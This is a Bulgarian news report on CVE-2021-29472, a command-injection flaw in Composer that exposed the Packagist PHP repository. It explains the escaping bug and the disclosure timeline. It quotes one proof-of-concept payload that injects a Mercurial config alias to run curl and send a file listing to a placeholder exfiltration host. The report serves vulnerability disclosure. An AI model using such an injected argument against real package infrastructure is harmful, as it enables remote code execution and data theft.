Уязвимост в пакетния мениджър Composer, позволяваща компрометиране на PHP репозитория Packagist

В мениджъра на зависимости Composer е открита критична уязвимост (CVE-2021-29472), която позволява изпълнението на произволни команди в системата при обработка на пакет с предварително оформена стойност на URL, определяща адреса за изтегляне на изходния код. Проблемът се проявява в компонентите GitDriver, SvnDriver и HgDriver, използвани при системите за управление на изходен код Git, Subversion и Mercurial. Уязвимостта е отстранена в версиите на Composer 1.10.22 и 2.0.13.

Особено внимание се обръща на факта, че проблемът е засегнал най-вече по подразбиране използвания в Composer репозиторий на пакети Packagist, който включва 306 хиляди пакета за разработчици на PHP и обслужва над 1.4 милиарда изтегляния месечно. В експеримент е показано, че ако има информация за проблема, атакуващите биха могли да получат контрол над инфраструктурата на Packagist и да прихванат данните за достъп на администраторите или да пренасочат изтеглянето на пакети към външен сървър, организирайки доставката на специфични пакети със злонамерени изменения, за да инжектират бекдор при инсталиране на зависимости.

Опасността за крайните потребители е ограничена, тъй като съдържанието на composer.json обикновено се определя от самия потребител, а линковете към изходния код се предават при обращение към външни репозитории, обикновено заслужаващи доверие. Основният удар е нанесен на репозитория Packagist.org и услугата Private Packagist, които извикват Composer с предаване на данни, получени от потребителите. Злоумышлениците можеха да изпълнят своя код на сървърите на Packagist, като публикуват специално оформен пакет.

Екипът на Packagist отстрани уязвимостта в рамките на 12 часа след получаване на доклад за уязвимостта. Изследователите частно уведомиха разработчиците на Packagist на 22 април и същия ден проблемът беше поправен. Публичното обновление на Composer с отстраняване на уязвимостта беше публикувано на 27 април, а детайлите бяха разкрити на 28 април. Аудитът на логовете на сървърите на Packagist не е установил свързана с уязвимостта подозрителна активност.

Проблемата е причинена от грешка в кода за валидиране на URL в основния файл composer.json и връзките за изтегляне на изходния код. Грешката е присъствала в кода от ноември 2011 година. В Packagist за организиране на зареждане на кода без привързаност към конкретна система за управление на изходния код се използват специални прослойки, които се изпълняват чрез повикване на „fromShellCommandline“ с предаване на аргументи от командния ред. Например, за git се извиква командата „git ls-remote —heads $URL“, където URL е обработен чрез метода „ProcessExecutor::escape($url)“, който екранира потенциално опасни конструкции като „$(…)“ или „`…`“.

Същността на проблема е, че методът ProcessExecutor::escape не е екранирал последователността „—“, което е позволявало да се посочат всякакви допълнителни параметри в URL. Подобно екраниране е отсъствало в драйверите GitDriver.php, SvnDriver.php и HgDriver.php. Атаката чрез GitDriver.php е била възпрепятствана от факта, че командата „git ls-remote“ не е поддържала указването на допълнителни аргументи след пътя. Възможна е била атака на HgDriver.php чрез предаване на параметъра „—config“ на утилитата „hq“, позволяваща организирането на изпълнението на всяка команда чрез манипулация с настройката „alias.identify“. Например, за изтегляне и изпълнение на код чрез стартиране на утилитата curl можело да се посочи: —config=alias.identify=!curl http://exfiltration-host.tld —data “$(ls -alh)”

След като разположиха в Packagist тестов пакет с подобен URL, изследователите се увериха, че след разполагането на техния сървър е постъпил HTTP-заявка от един от сървъри Packagist в AWS, съдържащ листинг на файловете в текущата директория.

Източник: opennet.ru